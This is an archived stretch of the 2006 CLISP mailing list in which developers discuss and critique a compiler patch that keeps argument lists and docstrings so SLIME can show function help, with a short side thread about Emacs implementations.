http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 8 08:00:05 2006 X-Original-Date: Mon, 8 May 2006 16:59:04 +0200 Russell McManus writes: > Dave Roberts writes: > > > I'm guessing that there is probably a compile-time switch somewhere > > for CLISP that will cause it to provide useful info, probably at the > > expense of larger image size to store all the argument names. > > I think that switch is waiting for your patch... I've got one, but it's not complete yet. I hoped that my modifications would be saved to the .fasl file and loaded back, but no. I'll have to look at it more deeply. Pascal Bourguignon wrote: > You'll have to distringuish two cases: > - functions whose source is lisp, byte-compiled or interpreted. > - functions whose source is C. > > In the later case, there's no declaration of the parameter names. The > parameters are pushed on the stack, and the C functions take them from > the stack. The only declarations are: > > LISPFUNNR(nth,2) > LISPFUNNR(elt,2) > LISPFUN(assoc,seclass_default,2,0,norest,key,3, > (kw(test),kw(test_not),kw(key)) ) > etc... > > Happily, this concerns mostly COMMON-LISP functions, and perhaps some > modules: we can maintain meta data separately, from the > specifications. Here is a patch which keeps the argument lists and the documentation strings of the lisp function, saving them as two additionnal constants in the closure-consts list. This makes the size of the full image increase about 2.1% to 2756220 bytes from 2698508. Since it's my first patch on the compiler.lisp, I wouldn't say it's elegant. Perhaps it would be nicer to add a couple of slots to the fnode structure. But in anycase, storing the lambda list and the documentation strings as additionnal constants to the closure allows us to do it without changing the C struct, so I consider it a good thing. Advices welcome. It would remain to collect and keep this data for the subr primitives. diff -Naurtwb clisp-2.38/src/compiler.lisp clisp-2.38-pjb1/src/compiler.lisp --- clisp-2.38/src/compiler.lisp 2005-11-28 21:19:39.000000000 +0100 +++ clisp-2.38-pjb1/src/compiler.lisp 2006-05-07 21:27:49.000000000 +0200 @@ -7782,7 +7782,7 @@ ;;; turns the ANODE-tree of fnode *func* into a functional object: -(defun pass2 (*func*) +(defun pass2 (*func* lambda-list documentation) (when (anode-p (fnode-code *func*)) ;; if Pass2 has not been executed yet, ;; only flatten, optimize and assemble the code @@ -7792,9 +7792,19 @@ (setq code-list (CONST-to-LOADV code-list))) (let ((SPdepth (SP-depth code-list))) ; determine stack requirements (setq code-list (insert-combined-LAPs code-list)) + (setf (fnode-consts *func*) + (nconc (fnode-consts *func*) (list lambda-list documentation)) + (fnode-consts-forms *func*) + (nconc (fnode-consts-forms *func*) (list (list 'quote lambda-list) + (list 'quote documentation))) + (fnode-consts-ltv-forms *func*) + (nconc (fnode-consts-ltv-forms *func*) + (list (make-load-time-eval lambda-list) + (make-load-time-eval documentation)))) (create-fun-obj *func* (assemble-LAP code-list) SPdepth))) ;; do Pass2 on the sub-functions - (dolist (x (fnode-Consts *func*)) (if (fnode-p x) (pass2 x))))) + (dolist (x (fnode-Consts *func*)) + (if (fnode-p x) (pass2 x nil nil))))) ; who can get hold of a sub-function? #| pass2 calls the 1st step. @@ -10681,7 +10691,8 @@ (assert (null (fnode-far-used-tagbodys fnode))) (unless *no-code* (let ((*fnode-fixup-table* '())) - (pass2 fnode) + (pass2 fnode (first lambdabody) (when (stringp (second lambdabody)) + (second lambdabody))) (pass3)) (when *compiling-from-file* (let ((kf (assoc name *known-functions* :test #'equal))) diff -Naurtwb clisp-2.38/src/configure clisp-2.38-pjb1/src/configure --- clisp-2.38/src/configure 2006-01-23 22:38:51.000000000 +0100 +++ clisp-2.38-pjb1/src/configure 2006-05-07 21:16:16.000000000 +0200 @@ -273,8 +273,8 @@ # Identity of this package. PACKAGE_NAME='GNU CLISP' PACKAGE_TARNAME='clisp' -PACKAGE_VERSION='2.38 (2006-01-24)' -PACKAGE_STRING='GNU CLISP 2.38 (2006-01-24)' +PACKAGE_VERSION='2.38-pjb1 (2006-05-07)' +PACKAGE_STRING='GNU CLISP 2.38-pjb1 (2006-05-07)' PACKAGE_BUGREPORT='http://clisp.cons.org/' ac_unique_file="lispbibl.d" diff -Naurtwb clisp-2.38/src/describe.lisp clisp-2.38-pjb1/src/describe.lisp --- clisp-2.38/src/describe.lisp 2006-01-08 17:30:59.000000000 +0100 +++ clisp-2.38-pjb1/src/describe.lisp 2006-05-08 01:00:04.000000000 +0200 @@ -604,12 +604,27 @@ ;; auxiliary functions for DESCRIBE of FUNCTION (defun arglist (func) - (setq func (coerce func 'function)) - (if (typep func 'generic-function) - ; Generic functions store the lambda-list. It has meaningful variable names. - (clos:generic-function-lambda-list func) - ; Normal functions store only the signature, no variable names. - (sig-to-list (get-signature func)))) + (setf func (cond ((and (symbolp func) (fboundp func)) + (cond ((macro-function func)) + ((symbol-function func)) + (t (error "Symbol ~S not a macro or function")))) + ((typep func 'generic-function)) + ((functionp func) func) + ((macro-function func)) + (t (error "~S is not a function designator")))) + (cond + ((typep func 'generic-function) + ;; Generic functions store the lambda-list. It has meaningful variable names. + (clos:generic-function-lambda-list func)) + ((and (sys::closurep func) (sys::%compiled-function-p func)) + (car (last (sys::closure-consts func) 2))) + ((function-lambda-expression func) + (second (function-lambda-expression func))) + (t + ;; Normal functions store only the signature, no variable names. + (sig-to-list (get-signature func))))) + + (defun describe-signature (stream req-anz opt-anz rest-p keyword-p keywords allow-other-keys) diff -Naurtwb clisp-2.38/src/documentation.lisp clisp-2.38-pjb1/src/documentation.lisp --- clisp-2.38/src/documentation.lisp 2005-11-17 20:04:42.000000000 +0100 +++ clisp-2.38-pjb1/src/documentation.lisp 2006-05-07 21:26:08.000000000 +0200 @@ -5,15 +5,18 @@ (in-package "CLOS") (defun function-documentation (x) - (if (typep-class x ) - (std-gf-documentation x) - (or (and (eq (type-of x) 'FUNCTION) ; interpreted function? + (cond + ((typep-class x ) + (std-gf-documentation x)) + ((eq (type-of x) 'FUNCTION) ; interpreted function? (sys::%record-ref x 2)) - (let ((name (sys::function-name x))) + ((eq (type-of x) 'COMPILED-FUNCTION) + (car (last (sys::closure-consts x)))) + (t (let ((name (sys::function-name x))) (and (sys::function-name-p name) - (fboundp name) (eq x (sys::unwrapped-fdefinition name)) - (getf (get (sys::get-funname-symbol name) 'sys::doc) - 'function)))))) + (fboundp name) + (eq x (sys::unwrapped-fdefinition name)) + (getf (get (sys::get-funname-symbol name) 'sys::doc) 'function)))))) ;;; documentation (defgeneric documentation (x doc-type) -- __Pascal Bourguignon__ http://www.informatimago.com/ "What is this talk of "release"? Klingons do not make software "releases". Our software "escapes" leaving a bloody trail of designers and quality assurance people in its wake." From dave@vyatta.com Mon May 08 09:32:38 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fd8f0-0006rq-NK for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 09:32:38 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fd8f0-0001az-OJ for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 09:32:38 -0700 Received: from mail.vyatta.com ([69.59.150.139]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fd8ev-0006n4-7m for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 09:32:35 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id 1C98110E04F9; Mon, 8 May 2006 09:32:24 -0700 (PDT) Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 04485-02; Mon, 8 May 2006 09:32:21 -0700 (PDT) Received: from [10.0.0.85] (unknown [66.54.159.46]) by mail.vyatta.com (Postfix) with ESMTP id B610010E04D9; Mon, 8 May 2006 09:32:21 -0700 (PDT) Message-ID: <445F7296.2020402@vyatta.com> From: Dave Roberts User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: Russell McManus CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Argument names in SLIME function help References: <445BDA63.3010409@vyatta.com> <87vesioqmy.fsf@cl-user.org> In-Reply-To: <87vesioqmy.fsf@cl-user.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at X-Spam-Status: No, score=-2.587 tagged_above=-10 required=6.6 autolearn=ham tests=[AWL=0.012, BAYES_00=-2.599] X-Spam-Score: -2.587 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 8 09:33:05 2006 X-Original-Date: Mon, 08 May 2006 09:32:22 -0700 Russell McManus wrote: > Dave Roberts writes: > >> I'm guessing that there is probably a compile-time switch somewhere >> for CLISP that will cause it to provide useful info, probably at the >> expense of larger image size to store all the argument names. > > I think that switch is waiting for your patch... Doh! Bummer. -- Dave From dave@vyatta.com Mon May 08 09:56:35 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fd92B-0008IK-8P for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 09:56:35 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fd92B-0001wE-DS for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 09:56:35 -0700 Received: from mail.vyatta.com ([69.59.150.139]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fd92A-0005PH-6g for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 09:56:35 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id D9EE110E0500; Mon, 8 May 2006 09:56:31 -0700 (PDT) Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 05557-10; Mon, 8 May 2006 09:56:29 -0700 (PDT) Received: from [10.0.0.85] (unknown [66.54.159.46]) by mail.vyatta.com (Postfix) with ESMTP id 3069210E04D9; Mon, 8 May 2006 09:56:29 -0700 (PDT) Message-ID: <445F783E.5030901@vyatta.com> From: Dave Roberts User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: Lou Vanek CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Argument names in SLIME function help References: <445BDA63.3010409@vyatta.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at X-Spam-Status: No, score=-2.587 tagged_above=-10 required=6.6 autolearn=ham tests=[AWL=0.012, BAYES_00=-2.599] X-Spam-Score: -2.587 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 8 09:57:10 2006 X-Original-Date: Mon, 08 May 2006 09:56:30 -0700 Thanks, I'll try it. Lou Vanek wrote: > this has a SLIME hook, and it's easy to modify the argument names > (I've done it): > > http://homepage1.nifty.com/bmonkey/emacs/elisp/cldoc.el > > Install instructions are embedded at the top of the file. From Devon@Jovi.Net Mon May 08 11:36:39 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FdAb1-0000jm-0j for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 11:36:39 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FdAax-0000FP-Og for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 11:36:36 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k48IZwEZ089066 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 8 May 2006 14:35:58 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k48IZoOT089042; Mon, 8 May 2006 14:35:50 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200605081835.k48IZoOT089042@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net In-reply-to: (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD References: X-Spam-Status: No, score=-3.2 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Mon, 08 May 2006 14:36:12 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 8 11:37:03 2006 X-Original-Date: Mon, 8 May 2006 14:35:50 -0400 (EDT) From: "Hoehle, Joerg-Cyril" Date: Mon, 8 May 2006 10:04:34 +0200 Devon Sean McCullough wrote: >The concept has potential to become a decent GNU-EMACS LISP IDE and >so far I favor the ITS/GNUMACS "array of bytes with buffer gap" text >model over the Multics/Zwei/Hemlock "sequence of strings" text model. You lost me. What was the context for this comment? Sorry that was so obscure. I meant to say SLIME could be a reason to keep good ol' familiar bloated overgrown GNU EMACS rather than switch to some EMACS written in Common Lisp, e.g., Zwei, Hemlock, etc. >PS: As soon as I posted my last message, I got phishing spam >which could only have been harvested from this mailing list >because I have never used this mailbox anywhere else. So do you believe that some recipient of the list is a bot with no other purpose than collecting addresses? Sadly, I can't tell from the e-mail address. Or did they get it via gmain, sourceforge archives or what else? Might be worth posting a different spam-bait to every recipient and archive. Mailman might have such a tool, who is the Mailman admin? Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From pjb@informatimago.com Mon May 08 13:01:02 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FdBug-0001Uk-HS for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 13:01:02 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FdBua-0003jG-P7 for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 13:00:59 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id E9950586A3; Mon, 8 May 2006 22:00:39 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A3094585EF; Mon, 8 May 2006 22:00:34 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6B0EE8809; Mon, 8 May 2006 22:00:33 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17503.41825.191952.822480@thalassa.informatimago.com> To: Devon Sean McCullough Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD In-Reply-To: <200605081835.k48IZoOT089042@grant.org> References: <200605081835.k48IZoOT089042@grant.org> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 8 13:02:01 2006 X-Original-Date: Mon, 8 May 2006 22:00:33 +0200 Devon Sean McCullough writes: > From: "Hoehle, Joerg-Cyril" > Date: Mon, 8 May 2006 10:04:34 +0200 > > Devon Sean McCullough wrote: > >The concept has potential to become a decent GNU-EMACS LISP IDE and > >so far I favor the ITS/GNUMACS "array of bytes with buffer gap" text > >model over the Multics/Zwei/Hemlock "sequence of strings" text model. > You lost me. What was the context for this comment? > > Sorry that was so obscure. I meant to say SLIME could be a reason to > keep good ol' familiar bloated overgrown GNU EMACS rather than switch > to some EMACS written in Common Lisp, e.g., Zwei, Hemlock, etc. Not really. Slime have been implemented in Common Lisp, get it from McCLIM Desktop. I don't know if it has been integrated with Climacs yet. If not, it's your opportunity to become famous! ;-) -- __Pascal Bourguignon__ http://www.informatimago.com/ -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GCS d? s++:++ a+ C+++ UL++++ P--- L+++ E+++ W++ N+++ o-- K- w--- O- M++ V PS PE++ Y++ PGP t+ 5+ X++ R !tv b+++ DI++++ D++ G e+++ h+ r-- z? ------END GEEK CODE BLOCK------ From Joerg-Cyril.Hoehle@t-systems.com Tue May 09 01:13:02 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FdNL4-0004hG-3v for clisp-list@lists.sourceforge.net; Tue, 09 May 2006 01:13:02 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FdNL2-0004KP-UP for clisp-list@lists.sourceforge.net; Tue, 09 May 2006 01:13:01 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 9 May 2006 10:12:49 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 9 May 2006 10:12:49 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Argument names in SLIME function help MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 9 01:14:00 2006 X-Original-Date: Tue, 9 May 2006 10:12:40 +0200 Pascal Bourguignon wrote: >Here is a patch which keeps the argument lists and the documentation >strings of the lisp function, saving them as two additionnal constants >in the closure-consts list. That doesn't seem reasonable to me. Every closure object becomes larger to setup while only a mere few of them will ever be looked at. Having everybody pay the price for something that only few use may be at the base of many ancient and contemporary society, but that's not what I'd like to see in program code! SLIME is likely unable to provide the correct arglist for cases like this: (defun foo ...) (defun bar # (flet ((foo ...)) (foo Of course, there's no theoretical impossibility. It just requires more than looking up FOO in the Lisp image: conservatively parse the buffer, scan for lexical environments, beware of incomplete code. My approach would have been to patch the DEFUN macro. Given the context (arglist from SLIME), it can be argued that what you're looking for is function name -> arglist, not -> arglist. Changing DEFUN, DEFMACRO and DEFGENERIC seems like the right place for this. No need to bang the compiler. I'd save a canonicalized form of the arglist into the SYMBOL-PLIST. An advantage of doing so over the "integrated into closure" approach is that this works even when a function is temporarily redefined via TRACE. And it should work for macros. The arglist for a macro is *not* what you get from the closure in the SYMBOL-FUNCTION slot with your patch. BTW, why do you care about the documentation? It's already there, e.g.: :[2]> (documentation 'step 'function) :"(STEP form), CLTL p. 441" [One of my numerous TODO items is to provide a better docstring for STEP and TRACE] >I hoped that my >modifications would be saved to the .fasl file and loaded back, but >no. I'll have to look at it more deeply. If you go the DEFUN macro expansion way, there should be no such surprises. How would you canonicalize the arglist? Keeping symbols makes the containing package bloated with cruft and annoys me when using APROPOS. Strings (names) is arguably all the human user needs to see, but it would not feel Lispy. Uninterned symbols look weird somewhat, ... Regards, Jorg Hohle. From sds@podval.org Tue May 09 05:48:16 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FdRdP-0001yc-W0 for clisp-list@lists.sourceforge.net; Tue, 09 May 2006 05:48:15 -0700 Received: from rwcrmhc12.comcast.net ([216.148.227.152]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FdRdN-0003bT-R7 for clisp-list@lists.sourceforge.net; Tue, 09 May 2006 05:48:16 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (rwcrmhc12) with ESMTP id <20060509124807m1200atcpke>; Tue, 9 May 2006 12:48:07 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id 6673E128499; Tue, 9 May 2006 08:48:10 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Joerg-Cyril Hoehle's message of "Tue, 9 May 2006 10:12:40 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: Argument names in SLIME function help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 9 05:49:05 2006 X-Original-Date: Tue, 09 May 2006 08:48:06 -0400 > * Hoehle, Joerg-Cyril [2006-05-09 10:12:40 +0200]: > > That doesn't seem reasonable to me. Every closure object becomes > larger to setup while only a mere few of them will ever be looked at. indeed. all metadata (doc strings, arg lists) should be written into an external file and loaded on demand. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://pmw.org.il http://thereligionofpeace.com http://honestreporting.com http://truepeace.org http://palestinefacts.org http://ffii.org Don't hit a man when he's down -- kick him; it's easier. From Devon@Jovi.Net Tue May 09 06:21:36 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FdS9g-00064t-5P for clisp-list@lists.sourceforge.net; Tue, 09 May 2006 06:21:36 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FdS9e-00005b-Nr for clisp-list@lists.sourceforge.net; Tue, 09 May 2006 06:21:36 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k49DL8lv002253 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 9 May 2006 09:21:10 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k49DL8Ju002250; Tue, 9 May 2006 09:21:08 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200605091321.k49DL8Ju002250@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net, Joerg-Cyril.Hoehle@t-systems.com In-reply-to: (message from Sam Steingold on Tue, 09 May 2006 08:48:06 -0400) Subject: Re: [clisp-list] Re: Argument names in SLIME function help References: X-Spam-Status: No, score=-3.1 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Tue, 09 May 2006 09:21:20 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 9 06:22:04 2006 X-Original-Date: Tue, 9 May 2006 09:21:08 -0400 (EDT) From: Sam Steingold Date: Tue, 09 May 2006 08:48:06 -0400 all metadata (doc strings, arg lists) should be written into an external file and loaded on demand. Debugging data belongs where gcc -g puts it, i.e., the actual executables and loadables. $ clisp -q -ansi -x "(documentation 'cons 'function)" NIL $ Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From pjb@informatimago.com Tue May 09 12:28:31 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FdXsk-0000er-U1 for clisp-list@lists.sourceforge.net; Tue, 09 May 2006 12:28:30 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FdXsk-0001m9-Ur for clisp-list@lists.sourceforge.net; Tue, 09 May 2006 12:28:30 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FdXsh-0000vA-Gh for clisp-list@lists.sourceforge.net; Tue, 09 May 2006 12:28:30 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 57F7F585E7; Tue, 9 May 2006 21:28:19 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 3D0E5585BE; Tue, 9 May 2006 21:28:13 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 10503880D; Tue, 9 May 2006 21:28:13 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17504.60748.912624.216801@thalassa.informatimago.com> To: "Hoehle, 